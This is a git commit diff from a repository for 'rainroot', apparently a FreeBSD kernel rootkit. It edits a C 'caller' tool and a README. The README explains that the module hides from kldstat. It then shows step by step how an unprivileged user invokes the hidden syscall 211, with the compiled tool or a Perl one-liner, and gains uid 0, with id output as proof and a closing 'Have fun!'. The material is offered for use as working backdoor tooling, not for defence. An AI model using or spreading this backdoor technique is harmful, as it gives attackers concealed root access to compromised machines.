This commit is contained in:
your-favorite-hacker
2015-07-05 21:29:26 +02:00
parent 0fc9a7e995
commit 902b8888e8
2 changed files with 13 additions and 9 deletions

View File

@@ -1,8 +1,12 @@
/* yes, this code will segfault if you dont give it an argument */ /* caller c tool
if you do not have a compiler, use perl:
perl -e 'syscall(211);'
*/
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
#include <sys/syscall.h>
#include <stdlib.h> #include <stdlib.h>
#include <sys/syscall.h>
void help(){ void help(){
printf("rainroot caller\nuse appropiate syscallnumber (default: 210)\nexample: ./caller 210\n\nby dash\n"); printf("rainroot caller\nuse appropiate syscallnumber (default: 210)\nexample: ./caller 210\n\nby dash\n");

View File

@@ -27,25 +27,23 @@ No rainroot in kldstat, just the default kernel.
userland userland
******** ********
userland tool, to call the newly loaded syscall (normally its syscall 210, depending if you got extra syscalls on your box already) In this examples it is syscall nr 211.
# userland tool, to call the newly loaded syscall (normally its syscall 210, depending if you got extra syscalls on your box already) In this examples it is syscall nr 211. compile it:
compile it
l00ser@crashb0x:/tmp $ gcc48 caller.c -o caller l00ser@crashb0x:/tmp $ gcc48 caller.c -o caller
test for help test for help:
# ./caller # ./caller
rainroot caller rainroot caller
use appropiate syscallnumber (default: 210) use appropiate syscallnumber (default: 210)
example: ./caller 210 example: ./caller 210
execute and get root execute and get root:
l00ser@crashb0x:/tmp % ./caller 211 l00ser@crashb0x:/tmp % ./caller 211
l00ser@crashb0x:/tmp % id l00ser@crashb0x:/tmp % id
uid=0(root) gid=0(wheel) egid=1001(l00ser) groups=1001(l00ser) uid=0(root) gid=0(wheel) egid=1001(l00ser) groups=1001(l00ser)
besides the caller you could also go with every language or operation requesting the syscall. for instance besides the caller you could also go with every language or operation requesting the syscall. for instance this perl one-liner:
this perl one-liner:
l00ser@crashb0x:~ % id l00ser@crashb0x:~ % id
uid=1001(l00ser) gid=1001(l00ser) groups=1001(l00ser) uid=1001(l00ser) gid=1001(l00ser) groups=1001(l00ser)
@@ -53,6 +51,8 @@ l00ser@crashb0x:~ % perl -e 'syscall(211);'
l00ser@crashb0x:~ % id l00ser@crashb0x:~ % id
uid=0(root) gid=0(wheel) egid=1001(l00ser) groups=1001(l00ser) uid=0(root) gid=0(wheel) egid=1001(l00ser) groups=1001(l00ser)
Have fun!
author author
------ ------
dash dash